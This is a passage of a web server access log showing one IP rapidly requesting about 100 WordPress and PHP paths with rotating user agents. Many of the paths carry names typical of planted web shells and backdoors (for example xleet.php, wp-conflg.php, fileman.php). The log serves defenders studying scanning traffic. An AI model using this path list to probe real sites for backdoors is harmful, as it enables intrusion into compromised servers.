146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:12 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:13 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:14 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:15 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:16 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - 